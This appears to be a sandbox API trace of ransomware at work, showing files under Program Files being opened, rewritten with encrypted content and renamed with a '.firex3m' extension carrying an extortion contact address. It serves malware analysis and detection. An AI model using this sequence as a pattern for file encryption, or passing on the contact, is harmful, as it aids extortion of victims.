FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3bbfcc4 | out: lpFindFileData=0x3bbfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc8aa06f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4181f68f, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2198, dwReserved0=0xc947496, dwReserved1=0x722c3c0, cFileName="TIME.XML.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TIMEXM~1.FIR")) returned 0x6d5280 [0207.300] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0207.300] Sleep (dwMilliseconds=0x1) [0209.540] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SUMIPNTG\\SUMIPNTG.INF", len=0x70 | out: pbstr=0x3bbff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SUMIPNTG\\SUMIPNTG.INF") returned 1 [0209.540] GetProcessHeap () returned 0x630000 [0209.540] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe4288, Size=0x4e40) returned 0x6fe4288 [0209.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SUMIPNTG\\SUMIPNTG.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\sumipntg\\sumipntg.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0209.542] CloseHandle (hObject=0x6a4) returned 1 [0209.542] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0209.542] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SUMIPNTG\\SUMIPNTG.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\sumipntg\\sumipntg.inf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SUMIPNTG\\SUMIPNTG.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\sumipntg\\sumipntg.inf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0209.543] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0209.544] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SUMIPNTG\\SUMIPNTG.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3bbfc6c | out: lpFindFileData=0x3bbfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27cace65, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x22b, dwReserved0=0x320031, dwReserved1=0x5b005f, cFileName="SUMIPNTG.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SUMIPN~1.FIR")) returned 0x6d5340 [0209.544] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0209.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SUMIPNTG\\SUMIPNTG.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\sumipntg\\sumipntg.inf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0209.544] GetProcessHeap () returned 0x630000 [0209.544] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x241) returned 0x717e148 [0209.544] GetProcessHeap () returned 0x630000 [0209.544] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x241) returned 0x699448 [0209.544] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.544] ReadFile (in: hFile=0x6a4, lpBuffer=0x717e148, nNumberOfBytesToRead=0x220, lpNumberOfBytesRead=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x717e148*, lpNumberOfBytesRead=0x3bbff0c*=0x220, lpOverlapped=0x0) returned 1 [0209.547] GetProcessHeap () returned 0x630000 [0209.547] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73174f0 [0209.547] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.547] WriteFile (in: hFile=0x6a4, lpBuffer=0x699448*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x699448*, lpNumberOfBytesWritten=0x3bbff0c*=0x220, lpOverlapped=0x0) returned 1 [0209.548] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.548] WriteFile (in: hFile=0x6a4, lpBuffer=0x699667*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x699667*, lpNumberOfBytesWritten=0x3bbff0c*=0x20, lpOverlapped=0x0) returned 1 [0209.548] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.548] WriteFile (in: hFile=0x6a4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3bbff0c*=0x4, lpOverlapped=0x0) returned 1 [0209.548] CloseHandle (hObject=0x6a4) returned 1 [0209.548] GetProcessHeap () returned 0x630000 [0209.548] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x699448 | out: hHeap=0x630000) returned 1 [0209.548] GetProcessHeap () returned 0x630000 [0209.548] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x717e148 | out: hHeap=0x630000) returned 1 [0209.548] GetProcessHeap () returned 0x630000 [0209.548] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73174f0 | out: hHeap=0x630000) returned 1 [0209.548] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0209.548] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SUMIPNTG\\SUMIPNTG.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3bbfcc4 | out: lpFindFileData=0x3bbfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27cace65, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x42d936f0, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0xc947496, dwReserved1=0x717e140, cFileName="SUMIPNTG.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SUMIPN~1.FIR")) returned 0x6d52c0 [0209.548] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0209.549] Sleep (dwMilliseconds=0x1) [0209.572] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SUMIPNTG\\PREVIEW.GIF", len=0x6f | out: pbstr=0x3bbff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SUMIPNTG\\PREVIEW.GIF") returned 1 [0209.572] GetProcessHeap () returned 0x630000 [0209.572] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe4288, Size=0x4e38) returned 0x6fe4288 [0209.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\sumipntg\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0209.572] CloseHandle (hObject=0x3f8) returned 1 [0209.572] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0209.573] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\sumipntg\\preview.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SUMIPNTG\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\sumipntg\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0209.573] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0209.574] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SUMIPNTG\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3bbfc6c | out: lpFindFileData=0x3bbfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c3a755, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c3a755, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x137f, dwReserved0=0xff00b748, dwReserved1=0x63005b, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d52c0 [0209.574] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0209.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SUMIPNTG\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\sumipntg\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0209.574] GetProcessHeap () returned 0x630000 [0209.574] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1381) returned 0x72369e8 [0209.574] GetProcessHeap () returned 0x630000 [0209.574] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1381) returned 0x67bb78 [0209.574] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.574] ReadFile (in: hFile=0x3f8, lpBuffer=0x72369e8, nNumberOfBytesToRead=0x1360, lpNumberOfBytesRead=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x72369e8*, lpNumberOfBytesRead=0x3bbff0c*=0x1360, lpOverlapped=0x0) returned 1 [0209.593] GetProcessHeap () returned 0x630000 [0209.593] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73188a0 [0209.593] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.593] WriteFile (in: hFile=0x3f8, lpBuffer=0x67bb78*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x67bb78*, lpNumberOfBytesWritten=0x3bbff0c*=0x1360, lpOverlapped=0x0) returned 1 [0209.593] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.593] WriteFile (in: hFile=0x3f8, lpBuffer=0x67ced7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x67ced7*, lpNumberOfBytesWritten=0x3bbff0c*=0x20, lpOverlapped=0x0) returned 1 [0209.594] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.594] WriteFile (in: hFile=0x3f8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3bbff0c*=0x4, lpOverlapped=0x0) returned 1 [0209.594] CloseHandle (hObject=0x3f8) returned 1 [0209.594] GetProcessHeap () returned 0x630000 [0209.594] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x67bb78 | out: hHeap=0x630000) returned 1 [0209.594] GetProcessHeap () returned 0x630000 [0209.594] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72369e8 | out: hHeap=0x630000) returned 1 [0209.594] GetProcessHeap () returned 0x630000 [0209.594] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73188a0 | out: hHeap=0x630000) returned 1 [0209.594] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0209.594] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SUMIPNTG\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3bbfcc4 | out: lpFindFileData=0x3bbfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c3a755, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x42e05db9, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x13a3, dwReserved0=0xc947496, dwReserved1=0x72369e0, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d52c0 [0209.594] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0209.594] Sleep (dwMilliseconds=0x1) [0209.603] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STUDIO\\THMBNAIL.PNG", len=0x6e | out: pbstr=0x3bbff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STUDIO\\THMBNAIL.PNG") returned 1 [0209.603] GetProcessHeap () returned 0x630000 [0209.603] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe4288, Size=0x4e34) returned 0x6fe4288 [0209.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\studio\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0209.603] CloseHandle (hObject=0x3f8) returned 1 [0209.604] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0209.604] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\studio\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STUDIO\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\studio\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0220.756] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0220.756] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STUDIO\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3bbfc6c | out: lpFindFileData=0x3bbfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c3a755, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c3a755, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x47cc, dwReserved0=0xe408c02c, dwReserved1=0x6f0063, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d5200 [0220.814] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0220.814] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STUDIO\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\studio\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x704 [0220.814] GetProcessHeap () returned 0x630000 [0220.814] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x47e1) returned 0x6fdcf38 [0220.815] GetProcessHeap () returned 0x630000 [0220.815] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x47e1) returned 0x73da3d8 [0220.815] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.815] ReadFile (in: hFile=0x704, lpBuffer=0x6fdcf38, nNumberOfBytesToRead=0x47c0, lpNumberOfBytesRead=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fdcf38*, lpNumberOfBytesRead=0x3bbff0c*=0x47c0, lpOverlapped=0x0) returned 1 [0222.290] GetProcessHeap () returned 0x630000 [0222.290] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7316e60 [0222.290] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0222.290] WriteFile (in: hFile=0x704, lpBuffer=0x73da3d8*, nNumberOfBytesToWrite=0x47c0, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x73da3d8*, lpNumberOfBytesWritten=0x3bbff0c*=0x47c0, lpOverlapped=0x0) returned 1 [0223.742] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0223.743] WriteFile (in: hFile=0x704, lpBuffer=0x73deb97*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x73deb97*, lpNumberOfBytesWritten=0x3bbff0c*=0x20, lpOverlapped=0x0) returned 1 [0224.964] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.964] WriteFile (in: hFile=0x704, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3bbff0c*=0x4, lpOverlapped=0x0) returned 1 [0224.964] CloseHandle (hObject=0x704) returned 1 [0225.653] GetProcessHeap () returned 0x630000 [0225.653] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73da3d8 | out: hHeap=0x630000) returned 1 [0225.653] GetProcessHeap () returned 0x630000 [0225.653] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fdcf38 | out: hHeap=0x630000) returned 1 [0225.653] GetProcessHeap () returned 0x630000 [0225.653] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7316e60 | out: hHeap=0x630000) returned 1 [0225.952] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0225.953] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STUDIO\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3bbfcc4 | out: lpFindFileData=0x3bbfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c3a755, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4c0a84ab, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x47f0, dwReserved0=0xc947496, dwReserved1=0x6fdcf30, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d4e00 [0225.953] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0225.953] Sleep (dwMilliseconds=0x1) [0226.013] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ro-RO\\toastbeginupgrade.xml", len=0x7a | out: pbstr=0x3bbff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ro-RO\\toastbeginupgrade.xml") returned 1 [0226.013] GetProcessHeap () returned 0x630000 [0226.013] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5158) returned 0x6fe3bb0 [0226.013] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ro-RO\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ro-ro\\toastbeginupgrade.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0226.013] CloseHandle (hObject=0x4e8) returned 1 [0226.013] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0226.013] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ro-RO\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ro-ro\\toastbeginupgrade.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ro-RO\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ro-ro\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0226.014] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0226.014] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ro-RO\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3bbfc6c | out: lpFindFileData=0x3bbfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ab8c63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ab8c63, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x252, dwReserved0=0x2d0064, dwReserved1=0x390031, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5400 